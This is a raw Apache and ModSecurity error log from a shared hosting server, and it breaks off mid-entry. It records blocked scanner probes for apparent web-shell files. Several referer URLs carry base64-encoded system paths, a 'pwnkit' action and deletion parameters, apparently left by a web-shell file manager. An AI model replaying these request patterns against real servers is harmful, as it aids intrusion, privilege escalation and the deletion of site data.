https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:09:11.845193 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:09:11.923936 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzUuZA== [Sat Jun 13 18:09:11.924330 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzUuZA== [Sat Jun 13 18:09:12.037720 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.99:28146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:12.037987 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.99:28146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:12.095904 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:12.096186 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:12.107813 2026] [security2:error] [pid 531797:tid 532076] [client 20.151.217.54:17029] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/12.php"] [unique_id "ai3xKMTA7b1mZrmcA-8Y-QAAAmI"] [Sat Jun 13 18:09:12.205932 2026] [security2:error] [pid 531797:tid 532093] [client 172.171.3.232:65051] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/size.php"] [unique_id "ai3xKMTA7b1mZrmcA-8Y_gAAAnI"] [Sat Jun 13 18:09:12.223362 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.75:20318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:12.223643 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.75:20318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:12.307381 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.38:24179] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:12.307688 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.38:24179] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:12.385977 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvcG93ZXI= [Sat Jun 13 18:09:12.386255 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvcG93ZXI= [Sat Jun 13 18:09:12.438099 2026] [security2:error] [pid 531797:tid 531975] [remote 220.181.108.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKMTA7b1mZrmcA-8ZBAACd24"] [Sat Jun 13 18:09:12.441755 2026] [security2:error] [pid 531797:tid 532040] [client 191.233.234.186:54805] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/wp-form.php"] [unique_id "ai3xKMTA7b1mZrmcA-8ZBQAAAj8"] [Sat Jun 13 18:09:12.461489 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.97:32126] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:12.461770 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.97:32126] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:12.584393 2026] [security2:error] [pid 531155:tid 531289] [client 20.151.217.54:16965] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xKCmiP80klyS0NnrwawAAAQ4"] [Sat Jun 13 18:09:12.599486 2026] [access_compat:error] [pid 531797:tid 531956] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTk4NjIyL2N3ZA== [Sat Jun 13 18:09:12.599781 2026] [access_compat:error] [pid 531797:tid 531956] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTk4NjIyL2N3ZA== [Sat Jun 13 18:09:12.601533 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:12.602000 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:12.608819 2026] [security2:error] [pid 531797:tid 531948] [remote 17.246.23.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKMTA7b1mZrmcA-8ZCwACHVQ"] [Sat Jun 13 18:09:12.731482 2026] [security2:error] [pid 531155:tid 531164] [remote 17.241.219.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKCmiP80klyS0NnrwdAABPQg"] [Sat Jun 13 18:09:12.742670 2026] [security2:error] [pid 531797:tid 531908] [remote 220.181.108.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xKMTA7b1mZrmcA-8ZEwACbSw"] [Sat Jun 13 18:09:12.754589 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:12.755039 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:12.831860 2026] [security2:error] [pid 531797:tid 531882] [remote 220.181.108.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKMTA7b1mZrmcA-8ZFQAChRI"] [Sat Jun 13 18:09:12.875983 2026] [security2:error] [pid 531155:tid 531405] [client 20.151.217.54:48160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/enacting.php"] [unique_id "ai3xKCmiP80klyS0NnrwfQAAAYI"] [Sat Jun 13 18:09:12.919590 2026] [security2:error] [pid 531155:tid 531328] [client 191.234.188.123:41010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/co.php"] [unique_id "ai3xKCmiP80klyS0NnrwfgAAATU"] [Sat Jun 13 18:09:12.947162 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:12.947600 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:12.991398 2026] [access_compat:error] [pid 531797:tid 531944] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:12.991863 2026] [access_compat:error] [pid 531797:tid 531944] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:09:13.019516 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.41:58693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:13.019966 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.41:58693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:13.066973 2026] [security2:error] [pid 531155:tid 531245] [remote 17.22.237.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKSmiP80klyS0NnrwhAABZVk"] [Sat Jun 13 18:09:13.202486 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:13.202947 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:13.483428 2026] [access_compat:error] [pid 531797:tid 531876] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:13.483727 2026] [access_compat:error] [pid 531797:tid 531876] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:13.504111 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:09:13.504546 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:09:13.535204 2026] [security2:error] [pid 531155:tid 531306] [client 20.151.217.54:17072] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/yoy123.php"] [unique_id "ai3xKSmiP80klyS0NnrwjAAAAR8"] [Sat Jun 13 18:09:13.610991 2026] [security2:error] [pid 531797:tid 531933] [remote 17.246.15.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKcTA7b1mZrmcA-8ZJwACXEU"] [Sat Jun 13 18:09:13.651935 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.89:27782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:13.652220 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.89:27782] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:13.674391 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:13.674692 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:09:13.744289 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.16:46282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:13.744568 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.16:46282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:13.983824 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:09:13.984263 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:09:14.030102 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzIuZA== [Sat Jun 13 18:09:14.030536 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzIuZA== [Sat Jun 13 18:09:14.051159 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.26:52300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:14.051433 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.26:52300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:14.057265 2026] [security2:error] [pid 531155:tid 531159] [remote 17.22.237.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKimiP80klyS0NnrwogABYAM"] [Sat Jun 13 18:09:14.206558 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=.ftpquota&p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:14.206983 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=.ftpquota&p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:09:14.254942 2026] [security2:error] [pid 531797:tid 532002] [client 20.151.217.54:17006] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/fff.php"] [unique_id "ai3xKsTA7b1mZrmcA-8ZNAAAAho"] [Sat Jun 13 18:09:14.300413 2026] [access_compat:error] [pid 531797:tid 531964] [remote 